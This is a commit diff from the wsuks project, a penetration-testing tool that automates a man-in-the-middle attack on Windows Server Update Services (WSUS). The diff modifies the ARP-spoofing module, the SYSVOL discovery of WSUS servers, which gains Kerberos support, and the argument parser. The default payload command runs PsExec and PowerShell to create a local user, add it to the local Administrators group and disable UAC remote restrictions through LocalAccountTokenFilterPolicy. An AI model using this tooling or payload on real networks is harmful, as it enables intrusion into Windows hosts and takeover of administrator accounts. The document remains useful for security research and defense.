Skip to content

Commit eec2df1

Browse files
committed
Merge branch 'master' of https://github.com/NeffIsBack/wsuks
2 parents bf9ba8b + d4e763b commit eec2df1

File tree

6 files changed

+84
-37
lines changed

6 files changed

+84
-37
lines changed

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -55,10 +55,10 @@ There are 3 different modes/attack scenarios in which wsuks can be run, which ar
5555
If the WSUS server is already known, you can simply specify the target IP and the WSUS server IP.\
5656
The default executable is PsExec64.exe, which runs a predefined PowerShell script with the following actions:
5757
1. Create a new user of the format user[0-9]{5} (e.g. user12345) and a random password
58-
2. Set the LocalAccountTokenFilterPolicy to 1 (disabling UAC)
58+
2. Set the LocalAccountTokenFilterPolicy to 1 (disabling UAC)
5959
3. Add the created user to the local admin group
6060

61-
Before setting the LocalAccountTokenFilterPolicy to 1, the original value is stored in the user description field so that it can be restored later.
61+
Before setting the LocalAccountTokenFilterPolicy to 1, the original value is stored in the user description field so that it can be restored later
6262

6363
```shell
6464
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20

pyproject.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[project]
22
name = "wsuks"
3-
version = "0.5.0"
3+
version = "1.0.0"
44
description = "Automating the MITM attack on WSUS"
55
authors = [
66
{name = "Alexander Neff",email = "alex99.neff@gmx.de"}

wsuks/helpers/argparser.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def initParser():
3535
parser.add_argument("--debug", action="store_true", help="Enable debug output")
3636
parser.add_argument("-ts", "--timestamp", action="store_true", help="Add timestamp to log messages")
3737

38-
parser.add_argument("-t", "--target-ip", metavar="", dest="targetIp", help="IP Address of the victim Client. (REQUIRED)", required=True)
38+
parser.add_argument("-t", "--target-ip", metavar="", dest="targetIp", help="IP Address of the victim Client. (REQUIRED)", required="--only-discover" not in parser.parse_known_args()[1])
3939
parser.add_argument("-I", "--interface", metavar="", help="Network Interface to use. (DEFAULT: %(default)s)", default="eth0")
4040
parser.add_argument("-e", "--executable", metavar="", default=f"{dirname(wsuks.__file__)}/executables/PsExec64.exe", type=argparse.FileType("rb"), help="The executable to returned to the victim. It has to be signed by Microsoft (DEFAULT: %(default)s)")
4141
parser.add_argument("-c", "--command", metavar="", default='/accepteula /s powershell.exe "{CREATE_USER_COMMAND}Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member {WSUKS_USER};"', help="The command to execute on the victim. \n(DEFAULT (details see README): %(default)s)",)
@@ -45,6 +45,8 @@ def initParser():
4545
simple.add_argument("-p", "--password", metavar="", help="Password to authenticate with")
4646
simple.add_argument("--dc-ip", metavar="", dest="dcIp", help="IP Address of the domain controller")
4747
simple.add_argument("-d", "--domain", metavar="", help="Domain to authenticate with")
48+
simple.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication instead of NTLM")
49+
simple.add_argument("--dc-name", metavar="", dest="dcName", help="Domain Controller Name to authenticate with, required for Kerberos authentication", required=parser.parse_known_args()[0].kerberos)
4850
simple.add_argument("--only-discover", action="store_true", help="Only discover the WSUS Server and exit")
4951

5052
advanced = parser.add_argument_group("MANUAL MODE", "If you know the WSUS Server, you can use this mode to skip the automatic discovery.")

wsuks/helpers/arpspoofer.py

Lines changed: 27 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
from ipaddress import ip_address, IPv4Network
22
import logging
3+
from pathlib import Path
34
import sys
45
import time
56
import traceback
@@ -21,6 +22,7 @@ def __init__(self, interface):
2122
self.targetIp = None
2223
self.targetMac = None
2324
self.spoofIp = None
25+
self.ip_forwarding = None
2426

2527
def _spoof(self, targetIp, spoofIp):
2628
"""
@@ -85,12 +87,12 @@ def check_spoofIp_subnet(self, targetIp, spoofIp):
8587
"""
8688
net_mask = ni.ifaddresses(self.interface)[ni.AF_INET][0]["netmask"]
8789
interface_ip = get_if_addr(self.interface)
88-
subnet = IPv4Network(interface_ip + "/" + net_mask, False)
90+
self.subnet = IPv4Network(interface_ip + "/" + net_mask, False)
8991

90-
if ip_address(targetIp) not in subnet:
92+
if ip_address(targetIp) not in self.subnet:
9193
self.logger.critical(f"Target IP address {targetIp} is not in the same subnet as the host! Forgot -I? Exiting...")
9294
sys.exit(1)
93-
elif ip_address(spoofIp) not in subnet:
95+
elif ip_address(spoofIp) not in self.subnet:
9496
gateway = self.get_default_gateway_ip(self.interface)
9597
if not gateway:
9698
self.logger.critical(f"WSUS IP address {spoofIp} is not in the same subnet and {self.interface} has no gateway!")
@@ -102,6 +104,21 @@ def check_spoofIp_subnet(self, targetIp, spoofIp):
102104
else:
103105
return spoofIp
104106

107+
def enable_ip_forwarding(self):
108+
"""Enable IP forwarding if the the spoofed IP address is not in the same subnet as the host."""
109+
# Read ip_fowarding setting and enable it if necessary
110+
self.ip_forwarding = Path("/proc/sys/net/ipv4/ip_forward").read_text().strip()
111+
112+
if self.ip_forwarding == "0":
113+
self.logger.warning("IP fowarding not enabled, enabling now")
114+
Path("/proc/sys/net/ipv4/ip_forward").write_text("1")
115+
116+
def disable_ip_forwarding(self):
117+
"""Disable IP forwarding if it was enabled before."""
118+
if self.ip_forwarding == "0":
119+
self.logger.warning("Restoring: Disabling IP fowarding")
120+
Path("/proc/sys/net/ipv4/ip_forward").write_text("0")
121+
105122
def start(self, targetIp, spoofIp):
106123
"""
107124
Start the ARP spoofing process.
@@ -113,6 +130,10 @@ def start(self, targetIp, spoofIp):
113130
self.spoofIp = self.check_spoofIp_subnet(targetIp, spoofIp)
114131
self.isRunning = True
115132

133+
# If we arp spoof the router enable IP forwarding, so that the target still has network access.
134+
if ip_address(spoofIp) not in self.subnet:
135+
self.enable_ip_forwarding()
136+
116137
self.logger.info(f"Starting ARP spoofing for target {self.targetIp} and spoofing IP address {self.spoofIp}")
117138
t1 = Thread(target=self._spoof, args=(self.targetIp, self.spoofIp))
118139
t1.start()
@@ -123,5 +144,8 @@ def stop(self):
123144
self.logger.info(f"Stopping ARP spoofing for target {self.targetIp}")
124145
self.isRunning = False
125146
self._restore(self.targetIp, self.spoofIp)
147+
148+
# Restore IP forwarding if it was enabled before
149+
self.disable_ip_forwarding()
126150
else:
127151
self.logger.error("ARP spoofing is not running")

wsuks/helpers/sysvolparser.py

Lines changed: 42 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -24,16 +24,19 @@ def __init__(self):
2424
self.dcIp = ""
2525
self.domain = ""
2626

27-
def _createSMBConnection(self, domain, username, password, dcIp, kerberos=False, lmhash="", nthash="", aesKey=""):
27+
def _createSMBConnection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""):
2828
"""Create a SMB connection to the target"""
2929
# SMB Login would be ready for kerberos or NTLM Hashes Authentication if it is needed
3030
# TODO: Fix remoteName in SMBConnection if this is a bug
3131
# TODO: Add Kerberos Authentication
3232
try:
33-
self.conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445)
33+
if kerberos:
34+
self.conn = SMBConnection(remoteName=dcName, remoteHost=dcIp, sess_port=445)
35+
else:
36+
self.conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445)
3437

3538
if kerberos is True:
36-
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dcIp)
39+
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dcIp, useCache=False)
3740
else:
3841
self.conn.login(username, password, domain, lmhash, nthash)
3942
if self.conn.isGuestSession() > 0:
@@ -53,6 +56,8 @@ def _extractWsusServerSYSVOL(self):
5356
def output_callback(data):
5457
self.reg_data += data
5558

59+
possible_wsus_locations = []
60+
5661
policies = self.conn.listPath("SYSVOL", f"{self.domain}/Policies/*")
5762
for policy in policies:
5863
try:
@@ -62,26 +67,36 @@ def output_callback(data):
6267
for pol in reg_pol:
6368
if pol["key"] == "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate" and pol["value"] == "WUServer":
6469
try:
65-
scheme, hostname, wsusPort = re.search(r"^(https?)://(.+):(\d+)$", pol["data"]).groups()
66-
if scheme == "http":
67-
self.logger.success(f"Found vulnerable WSUS Server using HTTP: {scheme}://{hostname}:{wsusPort}")
68-
return hostname, wsusPort
69-
elif scheme == "https":
70-
self.logger.critical(f"Found WSUS Server using HTTPS: {scheme}://{hostname}:{wsusPort}")
71-
self.logger.critical("This is not vulnerable to WSUS Attack. Exiting...")
72-
sys.exit(1)
70+
scheme, host, wsusPort = re.search(r"^(https?)://(.+):(\d+)$", pol["data"]).groups()
71+
possible_wsus_locations.append({"name": policy.get_shortname(), "scheme": scheme, "host": host, "port": int(wsusPort)})
7372
except Exception as e:
74-
self.logger.error(f"Found WSUS Policy, but could not parse value: {e}")
75-
self.logger.error(f"Policy: {pol}")
73+
self.logger.error(f"Could not parse WSUS Policy (error: {e}): {pol}")
7674
except SessionError as e:
7775
self.logger.debug(f"Error: {e}")
7876
except Exception as e:
7977
self.logger.error(f"Error: {e}")
8078
if self.logger.level == logging.DEBUG:
8179
traceback.print_exc()
80+
81+
# Check if we found any WSUS Policies
82+
if not possible_wsus_locations:
83+
self.logger.error("Error: No WSUS policies found in SYSVOL Share.")
84+
elif len(possible_wsus_locations) == 1:
85+
if scheme == "http":
86+
self.logger.success(f"Found vulnerable WSUS Server using HTTP: {scheme}://{host}:{wsusPort}")
87+
return host, wsusPort
88+
elif scheme == "https":
89+
self.logger.critical(f"Found WSUS Server using HTTPS: {scheme}://{host}:{wsusPort}")
90+
self.logger.critical("Not vulnerable to WSUS Attack. Exiting...")
91+
sys.exit(1)
92+
elif len(possible_wsus_locations) > 1:
93+
self.logger.warning("Found multiple WSUS Policies, please specify the WSUS Server manually with --WSUS-Server and --WSUS-Port.")
94+
for policy in possible_wsus_locations:
95+
self.logger.warning(f"Found WSUS Server Policy '{policy['name']}', target URL: {policy['scheme']}://{policy['host']}:{policy['port']}")
96+
8297
return None, None
8398

84-
def findWsusServer(self, domain, username, password, dcIp) -> tuple[str, int]:
99+
def findWsusServer(self, domain, username, password, dcIp, kerberos, dcName) -> tuple[str, int]:
85100
"""
86101
Get the WSUS server IP address from GPOs of the SYSVOL share
87102
@@ -101,20 +116,21 @@ def findWsusServer(self, domain, username, password, dcIp) -> tuple[str, int]:
101116
self.domain = domain
102117

103118
try:
104-
if self._createSMBConnection(domain, username, password, dcIp):
105-
hostname, self.wsusPort = self._extractWsusServerSYSVOL()
106-
# Check if hostname is an IP Address, if not resolve it
107-
try:
108-
self.wsusIp = str(ip_address(hostname))
109-
except ValueError:
110-
self.logger.debug(f"Hostname '{hostname}' is not an IP Address, trying to resolve hostname.")
119+
if self._createSMBConnection(domain, username, password, dcIp, kerberos, dcName):
120+
host, self.wsusPort = self._extractWsusServerSYSVOL()
121+
122+
# Check if host is an IP Address, if not resolve it
123+
if host and self.wsusPort:
111124
try:
112-
self.wsusIp = socket.gethostbyname(hostname)
113-
except socket.gaierror:
114-
self.logger.error(f"Error: Could not resolve hostname '{hostname}'.")
125+
self.wsusIp = str(ip_address(host))
126+
except ValueError:
127+
self.logger.debug(f"Host '{host}' is not an IP Address, trying to resolve host.")
128+
try:
129+
self.wsusIp = socket.gethostbyname(host)
130+
except socket.gaierror:
131+
self.logger.error(f"Error: Could not resolve host '{host}'.")
115132
except Exception as e:
116-
self.logger.error(f"Error: {e}")
117-
self.logger.error("Error while looking for WSUS Server in SYSVOL Share.")
133+
self.logger.error(f"Error while looking for WSUS Server in SYSVOL Share: {e}")
118134
if self.logger.level == logging.DEBUG:
119135
traceback.print_exc()
120136
finally:

wsuks/wsuks.py

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,11 @@ def __init__(self, args):
2222

2323
self.logger = logging.getLogger("wsuks")
2424
self.interface = args.interface
25-
self.hostIp = get_if_addr(self.interface)
25+
try:
26+
self.hostIp = get_if_addr(self.interface)
27+
except ValueError:
28+
self.logger.error(f"Interface '{args.interface}' not found! Exiting...")
29+
exit(1)
2630
self.local_username = "user" + "".join(random.choice(digits) for i in range(5))
2731
self.local_password = "".join(random.sample(ascii_letters, 16))
2832

@@ -60,19 +64,20 @@ def __init__(self, args):
6064
self.domain_password = args.password
6165
self.domain = args.domain
6266
self.dcIp = args.dcIp
67+
self.kerberos = args.kerberos
68+
self.dcName = args.dcName
6369

6470
def run(self):
6571
# Get the WSUS server IP and Port from the sysvol share
6672
sysvolparser = SysvolParser()
6773
if not self.wsusIp:
6874
self.logger.info("WSUS Server not specified, trying to find it in SYSVOL share on DC")
69-
self.wsusIp, self.wsusPort = sysvolparser.findWsusServer(self.domain, self.domain_username, self.domain_password, self.dcIp)
75+
self.wsusIp, self.wsusPort = sysvolparser.findWsusServer(self.domain, self.domain_username, self.domain_password, self.dcIp, self.kerberos, self.dcName)
7076
else:
7177
self.logger.info(f"WSUS Server specified manually: {self.wsusIp}:{self.wsusPort}")
7278

7379
if self.args.only_discover:
74-
self.logger.info(f"WSUS Server found: {self.wsusIp}:{self.wsusPort}")
75-
self.logger.info("Exiting...")
80+
self.logger.info("Discovered WSUS Server, Exiting...")
7681
return
7782

7883
self.logger.info("===== Setup done, starting services =====")

0 commit comments

Comments
 (0)